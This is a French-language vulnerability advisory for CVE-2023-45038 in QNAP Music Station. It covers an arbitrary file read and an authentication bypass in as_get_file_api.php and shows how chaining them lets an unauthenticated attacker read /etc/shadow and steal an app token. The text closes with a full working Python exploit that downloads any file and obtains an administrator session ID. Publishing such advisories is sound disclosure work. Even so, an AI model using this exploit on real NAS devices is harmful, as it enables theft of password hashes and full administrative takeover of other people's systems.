QNAP QSA-24-25 : Music Station - Lecture arbitraire de fichier et contournement d'authentification - CVE-2023-45038

CVE CVE-2023-45038 QNAP QSA-24-25 Music Station 5.3.20

Historique (DD/MM/YYYY)

Résumé

Lorsque le rapport a été envoyé à l’équipe de sécurité de QNAP, une mise à jour était disponible (5.3.23) qui limite le contournement de l’authentification aux actions de transcodage. Cependant, cette mise à jour n’était pas disponible sur la version de QTSCloud utilisée pour la découverte de ces vulnérabilités. Le score CVSS attribué à la CVE-2023-45038 est calculé pour la version 5.3.23. Si le score a été calculé pour toutes les vulnérabilités décrites dans le rapport, il devrait être d’au moins 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

Une lecture arbitraire de fichiers sans authentification permet à un attaquant de lire des fichiers sensibles. Comme l’application Music Station fonctionne avec les privilèges les plus élevés, l’attaquant est en mesure de lire tous les fichiers du système, y compris, par exemple, le fichier shadow pour obtenir des condensats de mots de passe.

De plus, un fichier spécial donnant un SID valide pour le compte “appuser” appartenant au groupe “administrators” peut être lu. Cela permet à l’attaquant de prendre le contrôle total du NAS et d’obtenir les droits root si nécessaire.

Lecture arbitraire avec authentification

Détails techniques

La vulnérabilité se trouve dans le fichier api/as_get_file_api.php. Pour cette partie de l’exploitation, nous considérerons que nous sommes authentifiés en tant que simple utilisateur.

La fonctionnalité de transcodage (accessible avec le paramètre de formulaire “tt=ts”) permet de lire un fichier arbitraire si la fonction “output_ts_file” peut être déclenchée avec un chemin d’accès contrôlé par l’utilisateur.

transcodefunction.png

Pour atteindre cette fonction, la condition if à la ligne 459 nécessite une valeur numérique pour le paramètre HTTP “songid” et la variable $filePath ne doit pas être encodée.

La variable $filePath ne peut pas être directement le chemin vers le fichier désiré parce qu’un morceau de code avant transformera la valeur.

path-transformed.png

Si nous envoyons la valeur “/etc/passwd”, la valeur envoyée à output_ts_file sera /share/etc/passwd. Nous devons donc envoyer celle-ci encodée en base64. Elle sera décodée sur la ligne 350, mais ne sera pas transformée.

Exploitation

En envoyant une valeur numérique pour le paramètre “songid” et un chemin encodé en base64 pour le paramètre “f”, nous sommes en mesure de lire un fichier sur le système.

etc-passwd.png

Comme l’application est exécutée avec les privilèges les plus élevés, un attaquant peut lire n’importe quel fichier sur le NAS. Voici un exemple avec le fichier shadow :

etc-shadow.png

Contournement de l’authentification

Détails techniques

Avec la première vulnérabilité, nous pouvons lire n’importe quel fichier sur le système. Mais nous pouvons l’exploiter sans authentification avec une seconde vulnérabilité qui contourne l’authentification.

Ce fichier peut gérer deux types d’authentification:

AuthenticationFunctions.png

La première utilise un code de partage, mais la variable “$filePath” ne peut pas être entièrement contrôlé car il est extrait de la base de données à la ligne 70. Ceci doit être contourné en ajoutant une valeur à la variable $ssid.

La seconde vérifiera le sid de l’utilisateur pour valider l’authentification. Mais la condition elseif peut être contournée si la variable $time_id est vide, ce qui est le cas par défaut.

Exploitation

En ajoutant une valeur arbitraire au paramètre de formulaire “ssid”, l’authentification peut être contournée.

AuthBypassed.png

Obtenir un sid dans le groupe administrators

La lecture arbitraire de fichiers en tant que root sur un système QNAP permet l’obtention d’une session avec les droits d’administration de plusieurs manières.

Dans le cas de l’application Music Station, la valeur app_token peut être lue depuis le fichier /share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token

app_token.png

Avec ce jeton, il est possible d’obtenir un “sid” valide qui sera dans le groupe “administrators”.

sid.png admin_sid.png

Exploit

Voici un exploit qui permet de télécharger un fichier ou d’obtenir un SID valide dans un groupe d’administrateurs.

import requests
import argparse
import base64

parser = argparse.ArgumentParser()
parser.add_argument('base_url')
parser.add_argument('-f', '--file')

TOKEN_PATH = b"/share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token"


args = parser.parse_args()

API_PATH = args.base_url+"/musicstation/api/as_get_file_api.php"
AUTH_LOGIN = args.base_url+"/cgi-bin/authLogin.cgi"
if args.file:
    print(requests.post(API_PATH, data={
        "ssid":"dummy",
        "songid":1,
        "tt":"ts",
        "f": base64.b64encode(args.file.encode())
    }).text)
else:
    token = requests.post(API_PATH, data={
        "ssid":"dummy",
        "songid":1,
        "tt":"ts",
        "f": base64.b64encode(TOKEN_PATH)
    }).text
    print("AppToken :", token)
    sid = requests.get(AUTH_LOGIN,params={
        "app_token": token,
        "app": "MUSIC_STATION",
        "auth": 1
    }).text.split("<authSid><![CDATA[")[1].split("]")[0]
    print("SID :", sid)
    if "<isAdmin><![CDATA[1]]></isAdmin>" in requests.get(AUTH_LOGIN+"?sid="+sid).text:
        print("SID is admin.")

exploit_get_file.png exploit_is_admin.png